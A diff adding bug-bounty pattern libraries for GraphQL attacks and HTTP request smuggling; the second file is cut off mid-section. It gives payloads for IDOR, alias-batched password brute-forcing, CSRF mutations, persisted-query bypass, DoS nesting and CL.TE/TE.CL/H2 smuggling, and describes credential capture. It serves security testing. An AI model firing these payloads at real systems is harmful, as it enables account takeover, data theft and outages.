+GraphQL endpoints are top-paying surface in 2025 because the schema is broad (one endpoint exposes the entire data model), the auth layer is often *resolver-side rather than transport-side* (so a single misconfigured resolver leaks cross-tenant data), and the request shape (`{"query": "..."}`) bypasses most parameter-name-based WAF rules. The patterns below are organized by *attack channel* — introspection / schema discovery, authorization (IDOR through node IDs and field-level access), denial-of-service, rate-limit and race amplification via aliases and batching, and operation-confusion via persisted queries — because GraphQL's distinctive paydirt comes from "the resolver checks A but the operator reaches it via B."
+
+## Cited Public Examples
+
+### PortSwigger Research — Daniel Thatcher, GraphQL attack methodology
+- **Source:** PortSwigger Research, body of work by Daniel Thatcher and others on GraphQL security. Published at portswigger.net/research; the team also maintains the Web Security Academy GraphQL labs which codify the techniques.
+- **Pattern shape:** The methodology Thatcher documented for GraphQL hunting: discover the endpoint, attempt introspection, fall back to field-suggestion fuzzing when introspection is disabled, alias-batch to amplify rate-limited operations, and probe operation-confusion between queries and mutations to exploit auth checks that only run on the wrong operation type.
+- **Key trick:** Field-suggestion fuzzing — when introspection returns null/error, send queries with intentionally-misspelled field names and parse the server's "Did you mean...?" error responses. The server unintentionally leaks valid field names while *declining* to enumerate the schema. Tooling: `clairvoyance` automates this against a wordlist.
+- **Why it matters:** Most production GraphQL endpoints disable introspection in production builds. Operators who stop at "introspection disabled, moving on" miss everything; operators who carry the field-suggestion + clairvoyance workflow find the schema anyway and proceed to the resolver-auth bugs that pay.
+
+### GitHub Security — GraphQL depth and node-ID design (developer-facing)
+- **Source:** GitHub Security Lab and engineering blog posts documenting how GitHub structures GraphQL node IDs (`base64("TypeName:database_id")`) and how they impose query-depth limits to defend against recursive-query DoS. Search the GitHub blog by topic.
+- **Pattern shape:** Two adjacent lessons from a well-documented production GraphQL deployment. (1) Node IDs that encode `TypeName:ID` give operators a "global object handle" that they can manipulate to fetch objects of one type using an ID belonging to a different type — IDOR with type confusion. (2) Depth limits without complexity limits are bypassable via fragment-spread amplification — a query that's only 3 levels deep on paper can resolve thousands of nested objects via fragments.
+- **Key trick:** Decode every node ID you see (`echo "VXNlcjox" | base64 -d` → `User:1`). Look for `User:`, `Repository:`, `Organization:`, `PullRequest:` prefixes. Then try fetching with a wrong-type ID — `node(id: "User:other-user-id") { ... on User { email role } }` — and observe whether the resolver checks ownership before returning fields.
+- **Why it matters:** Node-ID IDOR is the single most-paid GraphQL bug class. The pattern repeats on every Relay-style GraphQL API.
+
+### Apollo Server / Hasura introspection-default disclosures
+- **Source:** Apollo Server, Hasura, and most off-the-shelf GraphQL frameworks default to *enabling* introspection unless explicitly turned off for production builds. This is documented in each framework's deployment guide and surfaces in disclosed bounty reports as "introspection enabled in production exposes the full schema."
+- **Pattern shape:** Standalone, schema disclosure is informational. *Chained*, it is the prerequisite that turns a hidden authorization bug into a reportable critical: introspection reveals an undocumented mutation (`grantAdminAccess`, `setUserRole`, `bypassPaymentCheck`), the operator discovers it has no authorization guard, the mutation is fired by a low-privilege user, the privilege escalates.
+- **Key trick:** Introspection alone is rejected as N/A by most programs. Always pair the introspection finding with a *consequence* — an undocumented mutation reachable from a low-privilege session — and report the consequence.
+- **Why it matters:** Don't waste a report on bare introspection. The introspection is recon; the bug is the mutation it surfaced.
+
+### Persisted-query bypass — `extensions.persistedQuery` operation injection
+- **Source:** Apollo Server documentation for Automatic Persisted Queries (APQ) and the corresponding security advisories for misconfigurations. The class is documented across Apollo's docs and disclosed reports against APQ-enabled deployments.
+- **Pattern shape:** When a GraphQL server enables APQ, the client sends `{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"<hash>"}}}` and the server resolves the hash to a server-stored query string. Misconfigurations include: (a) the server falls back to running the *ad-hoc* `query` field when the hash is unknown (the "PersistedQueryNotFound" fallback), defeating the entire allow-list; (b) the server accepts a falsy hash value and processes the ad-hoc query without comparison; (c) the hash is computed client-side and the server trusts the (hash, query) pair without verifying the hash matches the query content.
+- **Key trick:** When a production endpoint claims "persisted queries only" (rejecting ad-hoc queries), test the APQ-fallback by sending a fake hash and a malicious ad-hoc query in the same request. If the server runs the ad-hoc query and returns its result, the allow-list is theatrical.
+- **Why it matters:** Operators who give up on a "persisted queries only" endpoint without testing the fallback miss a high-impact misconfig that effectively neutralizes the entire defense.
+
+---
+
+## Pattern Library
+
+### Endpoint discovery — find the GraphQL
+- **When to suspect:** Burp passive scan shows POST with `application/json` body of shape `{"query": "..."}`. JS bundles reference Apollo, Relay, `graphql-tag`, `gql\``. Wayback or katana crawl turns up `/graphql`, `/api/graphql`, `/v1/graphql`, `/query`, `/gql`, `/graph`.
+- **Test:** GET / POST against the candidate path with the simplest valid query:
+ ```
+ POST /graphql HTTP/1.1
+ Content-Type: application/json
+
+ {"query":"{ __typename }"}
+ ```
+ Expected response: `{"data":{"__typename":"Query"}}` (or `QueryRoot`, depending on framework).
+- **Validation:** The `__typename` introspection field returning *any* non-null value confirms GraphQL. Some frameworks (Hasura) name it `query_root`.
+- **Pay-grade rationale:** Discovery only — no bug yet. Used to scope subsequent testing.
+
+### Full introspection query (when enabled)
+- **When to suspect:** `{ __typename }` succeeded.
+- **Test:** Send the canonical introspection query (Apollo-compatible):
+ ```graphql
+ {
+ __schema {
+ types {
+ name
+ kind
+ fields { name type { name kind ofType { name kind } } }
+ inputFields { name type { name kind } }
+ }
+ queryType { name }
+ mutationType { name }
+ subscriptionType { name }
+ }
+ }
+ ```
+- **Validation:** Server returns a populated `types` array with mutation / query field names. Save to a file; grep for keywords (`admin`, `internal`, `bypass`, `grant`, `setRole`, `delete`, `secret`, `token`, `password`).
+- **Pay-grade rationale:** Recon. Standalone informational; report only when chained to a downstream bug surfaced from the disclosed schema.
+
+### Field-suggestion fuzzing (introspection disabled)
+- **When to suspect:** Introspection returns null, error, or an "Introspection is disabled" message.
+- **Test:** Send queries with deliberately-misspelled field names and parse "Did you mean...?" errors:
+ ```
+ {"query":"{ userrr { id } }"}
+ ```
+ Response: `{"errors":[{"message":"Cannot query field \"userrr\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}`
+- **Validation:** "Did you mean" responses are present. Tooling — `clairvoyance` (`pip install clairvoyance`) automates this against a wordlist:
+ ```bash
+ clairvoyance -o schema.json -w wordlist.txt https://target.com/graphql
+ ```
+- **Pay-grade rationale:** Recon. Same as introspection — informational standalone; load-bearing for downstream findings.
+
+### Node-ID IDOR (Relay-style global object handle)
+- **When to suspect:** Schema uses Relay's `Node` interface with `node(id: ID!)` and base64-encoded IDs. Common in GitHub, Shopify, Facebook, and any Relay-based API.
+- **Test:** Capture a legitimate node ID from your own session (e.g. `VXNlcjoxMjM=` → `User:123`). Decode, swap to a victim ID or different type, re-encode, and query:
+ ```graphql
+ {
+ node(id: "VXNlcjoxOTk5") {
+ ... on User { id email name role permissions }
+ }
+ }
+ ```
+ Cross-type — query a `User` ID as if it were a `Repository`:
+ ```graphql
+ {
+ node(id: "VXNlcjoxMjM=") {
+ ... on Repository { name owner { login } }
+ }
+ }
+ ```
+- **Validation:** Response contains data belonging to a different account / different object type than the requesting session should have access to.
+- **Pay-grade rationale:** Critical when cross-tenant data leaks. High when same-tenant cross-object data leaks.
+
+### Alias batching for rate-limit bypass
+- **When to suspect:** Endpoint with rate-limiting per HTTP request (login, OTP, redeem code). The rate-limiter counts requests, not operations.
+- **Test:** Pack many operations into one query via aliases:
+ ```graphql
+ mutation {
+ a1: login(username: "victim", password: "0000")
+ a2: login(username: "victim", password: "0001")
+ a3: login(username: "victim", password: "0002")
+ a4: login(username: "victim", password: "0003")
+ a5: login(username: "victim", password: "0004")
+ }
+ ```
+ One HTTP request = one rate-limit hit, but five password attempts.
+- **Validation:** All five resolvers fire (response contains five `a1`..`a5` keys with login results). Rate-limit headers (if present) increment by 1, not 5.
+- **Pay-grade rationale:** Critical when chained to brute-force (e.g. 6-digit OTP across 1000 aliases in one request = 1000 attempts at one rate-limit hit).
+
+### Alias batching for race-condition amplification (limited)
+- **When to suspect:** A resolver mutates state with a uniqueness or quota check (coupon redeem, balance debit, account-create). Cross-reference `hunt-race`.
+- **Test:** Send many aliases of the same mutation in one request:
+ ```graphql
+ mutation {
+ r1: redeemCoupon(code: "WELCOME10")
+ r2: redeemCoupon(code: "WELCOME10")
+ r3: redeemCoupon(code: "WELCOME10")
+ r4: redeemCoupon(code: "WELCOME10")
+ r5: redeemCoupon(code: "WELCOME10")
+ }
+ ```
+- **Validation:** Multiple aliases succeed against a uniqueness constraint that should reject after the first. *Important caveat from Phase 2E:* alias batching only races resolvers when the server processes aliases *concurrently* on a multi-threaded resolver. Most reference implementations (Apollo, GraphQL-Ruby, Graphene) resolve aliases *sequentially*. To force concurrency, use parallel HTTP via Burp Turbo Intruder single-packet attack with multiple TCP connections rather than alias batching alone.
+- **Pay-grade rationale:** Critical when the race wins (double-spend confirmed).
+
+### Node-IDOR via Base64 ID prediction
+- **When to suspect:** Node IDs follow predictable patterns — `base64("User:" + sequential_int)`. Decode three of your own IDs and the encoding scheme reveals itself.
+- **Test:** Generate IDs for adjacent integers and query each. Or use `base64("User:1")`, `base64("User:2")`, etc. for low IDs (admin users often live at low integers).
+- **Validation:** Sequential enumeration yields cross-account data.
+- **Pay-grade rationale:** Critical when admin-tier accounts are reachable.
+
+### GraphQL via GET (CSRF candidate)
+- **When to suspect:** Server accepts `GET /graphql?query=...` in addition to POST.
+- **Test:**
+ ```
+ GET /graphql?query={user(id:1){email}} HTTP/1.1
+ Cookie: session=victim_session
+ ```
+ Confirm via browser-clickable link served on attacker.com — if cookies attach and the GraphQL query fires with the victim's session, CSRF is viable.
+- **Validation:** Cross-origin request with `Cookie` header attached executes the query.
+- **Pay-grade rationale:** Medium standalone (CSRF on a read). High when GET also accepts mutations (rare but seen — usually a misconfiguration). Verify the side effect happened, not just that the request returned 200.
+
+### Mutation-via-GET (server accepts mutation on GET request)
+- **When to suspect:** Server treats `mutation` body identically regardless of HTTP method.
+- **Test:**
+ ```
+ GET /graphql?query=mutation{changeEmail(newEmail:"[email protected]")} HTTP/1.1
+ Cookie: session=victim_session
+ ```
+- **Validation:** Email actually changed (verify with a follow-up `GET /api/me` showing the new email). Without verification, the 200 means nothing.
+- **Pay-grade rationale:** Critical (CSRF to mutation with side effect).
+
+### Persisted-query fallback bypass (`extensions.persistedQuery`)
+- **When to suspect:** Production endpoint rejects ad-hoc queries with "PersistedQueryNotFound" or similar. Apollo Automatic Persisted Queries (APQ) is in play.
+- **Test:**
+ ```json
+ {
+ "extensions": {
+ "persistedQuery": {
+ "version": 1,
+ "sha256Hash": "0000000000000000000000000000000000000000000000000000000000000000"
+ }
+ },
+ "query": "{ user(id: 1) { email role } }"
+ }
+ ```
+ If the server returns `PersistedQueryNotFound`, retry the same body without modification — some servers fall back to executing the `query` field. Variations: omit the `sha256Hash`, set it to null, set the entire `extensions` to null.
+- **Validation:** The `query` field executes and returns data despite the server's claim of allow-list enforcement.
+- **Pay-grade rationale:** Critical. Neutralizes the allow-list defense.
+
+### Depth attack — recursive nesting DoS
+- **When to suspect:** Schema has reciprocal references — `User.friends.friends.friends...`, `Post.author.posts.author.posts...`.
+- **Test:**
+ ```graphql
+ {
+ user(id: 1) {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends { id name }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ ```
+- **Validation:** Server response time grows exponentially, or server returns 500 / connection-reset on sufficient depth. Statistical sampling against baseline (10 requests at depth-3, 10 at depth-8).
+- **Pay-grade rationale:** Medium standalone (DoS). High when the server crashes or load increases enough to affect other users — confirm with side-channel timing on a separate endpoint during the attack.
+
+### Alias-amplified DoS
+- **When to suspect:** Single expensive resolver (e.g. `expensiveReport`) without per-query cost limiting.
+- **Test:** 1000 aliases of the same expensive query in one request — each alias triggers a full resolver invocation.
+ ```graphql
+ { r1: expensiveReport, r2: expensiveReport, r3: expensiveReport, ... }
+ ```
+- **Validation:** Response time scales linearly with alias count; server resource utilization spikes.
+- **Pay-grade rationale:** Medium to high depending on impact.
+
+### Batch query (top-level array body)
+- **When to suspect:** Apollo and some servers accept `[{ "query": "..." }, { "query": "..." }, ...]` as a top-level array body.
+- **Test:**
+ ```json
+ [
+ {"query":"{ user(id:1) { email } }"},
+ {"query":"{ user(id:2) { email } }"},
+ {"query":"{ user(id:3) { email } }"}
+ ]
+ ```
+- **Validation:** Server returns an array of responses, one per batched query. Useful for enumeration with single rate-limit hit.
+- **Pay-grade rationale:** Critical when chained to enumeration that the rate-limiter was supposed to prevent.
+
+### Field-level authorization bypass (resolver-side miss)
+- **When to suspect:** A type has a `secret`, `password_hash`, `token`, `internal_notes`, `admin_metadata` field. The type-level resolver authorizes "can the user read this object?" but does not authorize each field independently.
+- **Test:** Query an object you do have access to, request a normally-hidden field:
+ ```graphql
+ { me { id email passwordHash recoveryCodes apiToken } }
+ ```
+- **Validation:** Sensitive field returned in response despite the API's documentation claiming the field is admin-only or internal.
+- **Pay-grade rationale:** Critical when password hashes or auth tokens leak.
+
+### Operation-type confusion (query vs mutation)
+- **When to suspect:** Server authorizes mutations strictly but treats `query` as anonymous-readable. A side-effecting resolver was registered as a query rather than a mutation.
+- **Test:** Look for any field whose name suggests an action (`createUser`, `sendEmail`, `resetPassword`, `transferFunds`) registered under `Query` instead of `Mutation`. Fire it as a query:
+ ```graphql
+ { resetPassword(email: "[email protected]") { success } }
+ ```
+- **Validation:** Side effect happened (email sent, password reset, fund transferred) despite the auth middleware only guarding mutations.
+- **Pay-grade rationale:** Critical.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### Introspection returning null claimed as "introspection enabled"
+- **Looks like:** You send the full introspection query, response is `{"data":{"__schema":null}}`. Introspection appears partially-disabled.
+- **Actually is:** Many servers return `null` for the entire `__schema` field when introspection is policy-disabled, *not* an error. The response shape "looks like" introspection succeeded but returned no data. Operators reading `data` as "introspection worked" file an N/A.
+- **How to disprove:** Introspection enabled returns a populated `types` array. `null` data is *disabled*. Fall through to field-suggestion fuzzing (`{ userrr { id } }`) and clairvoyance to enumerate the schema by other means.
+
+### `errors: null` in response claimed as "data leaked successfully"
+- **Looks like:** Response is `{"data": {"user": {"email": "[email protected]"}}, "errors": null}`. Operator concludes the query succeeded.
+- **Actually is:** Some GraphQL servers strip the `data` field on partial errors and return `{"data": null, "errors": [...]}`. Other servers return partial data with `errors` populated. The combination `data` populated and `errors: null` *can* be a misconfiguration where the server returned data it should not have — but it can also be a legitimate query the operator already had permission to make. Body-Diff Rule: compare the response from your session to the response from an unauthenticated session and to a victim-session-token-equivalent request. If only your authorized session sees the data, no IDOR happened.
+- **How to disprove:** Use *two* sessions — attacker (you) and victim (a second account you control). If attacker session queries victim's data and returns it, that's the IDOR. If both sessions return their own data and neither reaches the other, the API is correctly scoped.
+
+### GraphQL CSRF via GET that returns 200 but no side effect
+- **Looks like:** You send a mutation via GET, server returns 200 with a body. Reported as CSRF-to-mutation.
+- **Actually is:** Many servers happily parse a `mutation` from a `query=` parameter at the HTTP layer but reject it at the resolver level because mutations are HTTP-method-restricted to POST. The 200 is the GraphQL "parsed your query and rejected the operation" response with `errors` populated. The mutation did not execute.
+- **How to disprove:** Verify the *side effect*. If the mutation was `changeEmail`, fetch `/api/me` after the test and confirm the email changed. If the mutation was `transferFunds`, check the balance. A 200 response without side-effect confirmation is not a successful mutation.
+
+### Alias batching that "works" but operations are sequential
+- **Looks like:** You send 100 aliases of `redeemCoupon` in one request, all 100 return `success: true`. Reported as race condition double-spend.
+- **Actually is:** Most GraphQL implementations resolve aliases sequentially within a single request, holding the request open until all 100 complete. The first alias's mutation commits, the second alias's mutation hits the uniqueness constraint, and either fails or succeeds depending on whether the constraint is enforced per-transaction or per-row. If the response shows 100 successes, either there's no constraint (and the bug is "no quota enforcement," not "race condition") or the constraint is row-level and the database happily inserted 100 rows.
+- **How to disprove:** Check the *server state* after the test — does the user actually have 100 coupons applied to their balance? If yes, it's a quota bug regardless of "race." If only one coupon applied and 99 of the "success" responses were ignored downstream, the race didn't win. For a true GraphQL race, use parallel HTTP (Burp Turbo Intruder single-packet) with separate TCP connections — see `hunt-race`.
+
+### Schema disclosure claimed as critical without consequence
+- **Looks like:** Introspection enabled in production reveals the full schema. Reported as critical because "an attacker has the entire API map."
+- **Actually is:** Schema disclosure on its own is informational. The HackerOne / Bugcrowd triage default for "introspection enabled" is Low or N/A unless paired with a downstream finding (undocumented mutation reachable, sensitive field disclosed, etc.).
+- **How to disprove:** Don't disprove — *escalate*. Before reporting, query the schema for terms (`admin`, `internal`, `bypass`, `secret`, `grant`, `set`, `delete`, `password`, `token`), find a candidate field, and confirm it is reachable from your session with privileges it should not have. The introspection then becomes a recon step inside the chain to the real bug.
diff --git a/docs/disclosed-reports/hunt-http-smuggling.md b/docs/disclosed-reports/hunt-http-smuggling.md
new file mode 100644
index 0000000..803a27e
--- /dev/null
+++ b/docs/disclosed-reports/hunt-http-smuggling.md
@@ -0,0 +1,183 @@
+# hunt-http-smuggling — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-http-smuggling`. Operator-grade reference, not a complete enumeration. Cited examples are well-known public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, CVEs, and conference research.
+
+HTTP request smuggling pays well and has the lowest duplicate rate of any modern web bug class because finding it requires protocol-layer understanding that most scanners do not have. The bug exists because two systems (frontend proxy and backend server, or HTTP/2 frontend and HTTP/1.1 backend) disagree about where one request ends and the next begins. The patterns below organize the attack into the four canonical primitives (CL.TE, TE.CL, TE.TE, H2-downgrade) plus the operational confirmation techniques needed to distinguish a real desync from harmless latency.
+
+## Cited Public Examples
+
+### James Kettle — "HTTP Desync Attacks" (PortSwigger, 2019)
+- **Source:** James Kettle, "HTTP Desync Attacks: Request Smuggling Reborn," Black Hat USA 2019 / DEF CON 27. Published at portswigger.net/research as the canonical modern paper on the topic. Followed up by "HTTP/2: The Sequel is Always Worse" (2021), "Browser-Powered Desync Attacks" (2022), and "Smashing the State Machine" (2023). All papers are public; cite the author and the topic, not invented URLs.
+- **Pattern shape:** Two HTTP servers in a chain (front-end load balancer + back-end origin, or CDN + application server) parse the same request differently. The classic CL.TE: the front-end honors `Content-Length`, the back-end honors `Transfer-Encoding: chunked`. Sending both headers in one request causes one server to see one request, the other server to see two. The "second" request is the smuggled request, prepended to the next legitimate request on the keep-alive connection.
+- **Key trick:** Kettle's research framed smuggling as a *desync* phenomenon — the two parsers fall out of sync on connection boundary, and every subsequent request on that connection is poisoned until the connection closes. Detection relies on the time-delay technique: the smuggled request asks for something that takes 30 seconds, and the *next* legitimate request on the keep-alive socket is delayed because the back-end is still waiting for the body of the smuggled request.
+- **Why it matters:** Every modern HTTP smuggling finding traces back to this research. The Burp HTTP Request Smuggler extension implements the probe methodology directly. Programs pay $5K-$30K typically because the chain (cache poisoning, credential capture, auth bypass) lifts the bug to Critical. Citing the research in a report demonstrates the class is known and paid.
+
+### HAProxy CVE-2021-40346
+- **Source:** HAProxy security advisory September 2021. CVE-2021-40346. Affects HAProxy versions prior to 2.0.25, 2.2.17, 2.3.14, 2.4.4.
+- **Pattern shape:** Integer overflow in the HTTP/1.1 header-length parsing. An attacker sends a request with carefully sized `Content-Length` header value such that HAProxy's internal length calculation overflows. The result is that HAProxy treats a longer body than the back-end expects, allowing the attacker to smuggle a second request hidden inside the first body.
+- **Key trick:** The CVE is a parser-level integer overflow, not a CL.TE configuration issue. Fingerprinting HAProxy version (response `Server:` header, behavior on specific edge cases) maps to known-vulnerable releases.
+- **Why it matters:** Verifiable CVE in a tier-1 reverse-proxy product. HAProxy is widely deployed in front of bug-bounty programs. Version recon is cheap; mapping to this CVE is high-yield.
+
+### Apache mod_proxy_ajp CVE-2022-26377
+- **Source:** Apache Software Foundation security advisory, June 2022. CVE-2022-26377. Affects Apache HTTP Server with mod_proxy_ajp prior to 2.4.54.
+- **Pattern shape:** Apache mod_proxy_ajp accepted inconsistent `Transfer-Encoding` headers and forwarded them to the AJP backend (Tomcat). The frontend Apache and backend Tomcat disagreed on which TE header to honor, enabling request smuggling from external HTTP into internal AJP — bypassing Apache-level access controls.
+- **Key trick:** The attack crosses protocol boundaries (HTTP → AJP), which makes the smuggled request opaque to most WAFs. Internal AJP endpoints (admin paths, status pages, configuration interfaces) typically lack the auth controls that the external HTTP layer enforces.
+- **Why it matters:** Apache + Tomcat is one of the most common Java enterprise deployments. The CVE provides a verifiable cite for any operator finding mod_proxy_ajp behavior anomalies. Often chains to direct admin-path access.
+
+### James Kettle — "HTTP/2: The Sequel is Always Worse" (2021)
+- **Source:** James Kettle, Black Hat USA 2021. Public research at portswigger.net/research. Introduced H2.CL and H2.TE smuggling vectors specific to HTTP/2-frontend / HTTP/1.1-backend deployments — exactly the topology most CDNs use today.
+- **Pattern shape:** A CDN terminates HTTP/2 from the client and re-encodes the request as HTTP/1.1 to the origin. The HTTP/2 spec forbids `Content-Length` and `Transfer-Encoding` in messages it conveys but does not specify how to downgrade. CDN implementations vary: some pass through CL/TE headers from the HTTP/2 message, allowing the attacker to inject `Content-Length` or `Transfer-Encoding` that the HTTP/2 frontend trusts but the HTTP/1.1 backend interprets differently. The result is the classic CL.TE / TE.CL desync — but the entry vector is HTTP/2, which most defenses do not inspect for smuggling primitives.
+- **Key trick:** H2-downgrade smuggling cannot be tested over plain HTTP/1.1; the operator must send HTTP/2 frames directly (Burp Repeater HTTP/2 tab, `h2csmuggler`, or low-level `nghttp2` clients).
+- **Why it matters:** CDN + origin topologies (Cloudflare, Akamai, Fastly, AWS CloudFront in front of nginx/Apache/Java apps) are the dominant deployment shape for bug-bounty programs in 2024-2026. H2-downgrade smuggling is the modern attack surface; CL.TE on plain HTTP/1.1 is largely patched.
+
+---
+
+## Pattern Library
+
+### Classic CL.TE smuggling
+- **When to suspect:** Frontend is older nginx / Apache / Squid; backend is Java/Node behind a keep-alive connection. Probe with Burp HTTP Request Smuggler "CL.TE" probe.
+- **Test:**
+ ```http
+ POST / HTTP/1.1
+ Host: target.tld
+ Content-Length: 13
+ Transfer-Encoding: chunked
+
+ 0
+
+ SMUGGLED
+ ```
+ Front honors CL=13, sees one request. Back honors TE, sees the `0\r\n\r\n` chunk terminator, then starts a new request beginning with `SMUGGLED`. The `SMUGGLED` bytes prepend onto the next legitimate request on the keep-alive socket.
+- **Validation:** Use the time-delay confirmation — set the smuggled request to a GET that the backend is slow on (e.g. a path that times out). Send the smuggling probe, immediately follow with a normal request. If the normal request takes ~30 seconds (the backend is waiting for the body the front-end already forwarded), desync confirmed.
+- **Pay-grade rationale:** $5K-$30K depending on chain (cache poisoning, credential theft, auth bypass).
+
+### TE.CL smuggling (inverted)
+- **When to suspect:** Frontend honors TE, backend honors CL — less common but seen in some custom reverse proxies and older WebSphere/IBM HTTP Server.
+- **Test:**
+ ```http
+ POST / HTTP/1.1
+ Host: target.tld
+ Content-Length: 3
+ Transfer-Encoding: chunked
+
+ 8
+ SMUGGLED
+ 0
+
+ ```
+ Front sees TE, processes the chunks, completes the request after `0`. Back sees CL=3, reads only `8\r\n` and treats the rest as a new request.
+- **Validation:** Same time-delay technique as CL.TE.
+- **Pay-grade rationale:** Same tier as CL.TE.
+
+### TE.TE — obfuscated Transfer-Encoding for parser disagreement
+- **When to suspect:** Both frontend and backend honor TE, but one strips or normalizes obfuscated TE headers that the other accepts.
+- **Test:** Inject a TE header with whitespace/separator obfuscation that only one parser recognizes:
+ ```
+ Transfer-Encoding: chunked
+ Transfer-Encoding : chunked # space before colon
+ Transfer-Encoding: chunked # extra space
+ Transfer-Encoding:chunked # no space
+ Transfer-Encoding: xchunked # custom encoding name
+ Transfer-Encoding: chunked\r\nContent-Length: 6 # newline injection
+ ```
+- **Validation:** Time-delay confirmation as before.
+- **Pay-grade rationale:** Same tier.
+
+### H2.CL — HTTP/2 frontend with CL passthrough
+- **When to suspect:** Target responds to HTTP/2 (`curl --http2 -I https://target/`). CDN-fronted topology.
+- **Test:** Burp Repeater "HTTP/2" tab. Add a `Content-Length` pseudo-header or a regular header that the CDN forwards. The backend HTTP/1.1 server interprets CL while the CDN re-encodes the HTTP/2 frame stream into HTTP/1.1 with its own framing.
+ ```http2
+ :method POST
+ :path /
+ :authority target.tld
+ content-length 4
+
+ XYZA
+ SMUGGLED
+ ```
+ CDN re-frames as HTTP/1.1 with body length determined by the HTTP/2 stream end; backend reads only `XYZA` per its CL, then treats `SMUGGLED` as a new request.
+- **Validation:** Time-delay confirmation. Use `h2csmuggler` for automated probes.
+- **Pay-grade rationale:** $10K+ on tier-1 programs; H2-downgrade is the modern primitive that pays best because most teams have not audited it.
+
+### H2.TE — HTTP/2 with smuggled Transfer-Encoding
+- **When to suspect:** Same as H2.CL but the backend honors TE.
+- **Test:** HTTP/2 request with `transfer-encoding: chunked` and a body in chunked encoding format. CDN may strip TE per HTTP/2 spec, but if it passes it through, the backend sees TE and re-frames.
+- **Validation:** Time-delay or socket-reuse confirmation.
+- **Pay-grade rationale:** Same as H2.CL.
+
+### Connection header confusion (hop-by-hop smuggling)
+- **When to suspect:** Frontend strips certain headers based on `Connection: header-list`. Attacker abuses by listing a security-relevant header (`Connection: X-API-Token`) to strip it before the backend sees it.
+- **Test:** Send a request authenticated as user A but with `Connection: Cookie` — frontend may strip Cookie before forwarding. Or `Connection: X-Real-IP` to strip the IP-anonymization header. Combined with smuggling, this allows the attacker to remove or inject security context.
+- **Validation:** Backend behavior changes consistent with the header being absent.
+- **Pay-grade rationale:** Medium to high depending on what the stripped header controls.
+
+### Smuggled request with attacker-controlled `Host` to access internal vhost
+- **When to suspect:** CDN routes to multiple origin vhosts based on Host header. Internal vhosts (`internal.target.tld`, `admin.target.tld`) are not exposed publicly but exist on the same backend pool.
+- **Test:** CL.TE smuggle a request with `Host: admin.target.tld` and a path to an admin endpoint. The smuggled request inherits the keep-alive socket and reaches the backend on the internal vhost.
+- **Validation:** Response body is the admin page that is not normally reachable from the public DNS name.
+- **Pay-grade rationale:** Critical when admin endpoints are exposed.
+
+### Credential capture via smuggled X-Forwarded-For override
+- **When to suspect:** Application logs the next user's request body by mistake. Or application echoes part of the *next* request back to the attacker.
+- **Test:** Smuggle a request that the backend treats as the first half of the next legitimate request — the rest of the legitimate request (cookies, body, sensitive data) gets appended to the smuggled request body and gets stored/echoed.
+- **Validation:** Attacker's reachable endpoint receives the victim's cookies or credentials in a smuggled body.
+- **Pay-grade rationale:** Critical.
+
+### Web cache poisoning via smuggling
+- **When to suspect:** Cache layer sits behind the smuggling boundary.
+- **Test:** Smuggle a request that fetches a key URL the cache will store. Set the response (via smuggled headers) to a cached attacker payload. Subsequent requests to the key URL serve the poisoned cache.
+- **Validation:** Clean third-party fetch returns the poisoned content.
+- **Pay-grade rationale:** Critical. Combines smuggling + cache poisoning.
+
+### Time-delay confirmation technique
+- **When to suspect:** You suspect smuggling but cannot prove it without poisoning real traffic.
+- **Test:** Send a CL.TE probe with smuggled body that the backend will hang on — for example a smuggled request that the backend will wait 30 seconds for additional bytes. Immediately follow with a normal HTTP request on the same connection.
+- **Validation:** The follow-up request takes ~30 seconds instead of milliseconds. The backend is waiting for the body of the smuggled request before processing the next.
+- **Pay-grade rationale:** This is *confirmation*, not impact — but the test is the foundation for safely demonstrating smuggling in a report without affecting real users.
+
+### Burp HTTP Request Smuggler extension workflow
+- **When to suspect:** You have any HTTP target with keep-alive and a proxy chain.
+- **Test:** Right-click any request → Extensions → HTTP Request Smuggler → "Smuggle probe." Extension runs CL.TE, TE.CL, and TE.TE probes with timeout-based detection.
+- **Validation:** Extension marks endpoints as smuggling candidates with timing evidence. Manual confirmation via Repeater follows.
+- **Pay-grade rationale:** Standard operator workflow; cite the extension in reports for reproducibility.
+
+### `nghttp2` and `h2csmuggler` for H2-downgrade
+- **When to suspect:** Target accepts HTTP/2 from clients. CDN topology likely.
+- **Test:** Use `h2csmuggler.py` or raw `nghttp2` client to send HTTP/2 frames with smuggled CL/TE headers. Burp Repeater HTTP/2 tab also works for manual probes.
+- **Validation:** Time-delay or socket-prepend confirmation on the HTTP/1.1 origin.
+- **Pay-grade rationale:** High because H2-downgrade is under-tested in most programs.
+
+### Smuggling through ALB + nginx or CloudFront + nginx
+- **When to suspect:** Recon identifies the topology — `Server: awselb` or `Via: cloudfront` plus origin nginx fingerprints.
+- **Test:** Both AWS ALB and CloudFront have historically had smuggling-relevant quirks. Test CL.TE and H2-downgrade specifically against the documented quirks (e.g., ALB has handled obfuscated TE differently across releases).
+- **Validation:** Standard confirmation techniques.
+- **Pay-grade rationale:** High. AWS-fronted programs are abundant.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### Server returns 400 on CL+TE — hardened, not bypassable
+- **Looks like:** You send a CL.TE probe and the server returns HTTP 400 Bad Request. Operator wants to find a bypass.
+- **Actually is:** Modern Nginx 1.21+, Caddy 2.x, Envoy 1.20+, and recent HAProxy releases all reject requests containing both `Content-Length` and `Transfer-Encoding`. The 400 response means the parser caught the ambiguity and refused to process. No smuggling primitive exists.
+- **How to disprove:** Fingerprint the front-end and back-end. If both versions are post-hardening, pivot to H2-downgrade attacks (the only smuggling vector left). Do not waste time trying obfuscated TE variants on hardened HTTP/1.1 stacks — they have been audited extensively since 2019.
+
+### "Smuggled request executed" claim without OOB confirmation
+- **Looks like:** Operator sends a CL.TE probe with a smuggled GET to an admin path. The response shows an admin-page body. Operator claims smuggling worked.
+- **Actually is:** The response body the operator received may simply be the front-end echoing the smuggled bytes (some proxies do this in error responses), or the operator was authenticated as admin in the same session and the request was processed normally — not smuggled.
+- **How to disprove:** Use the time-delay technique to *confirm desync* before claiming exploit. Also: use a *different* session (or unauthenticated) for the follow-up request that should receive the prepended bytes. The proof must show a separate request being affected by the smuggled bytes, not the attacker's own request producing an admin response.
+
+### Latency increase alone treated as proof
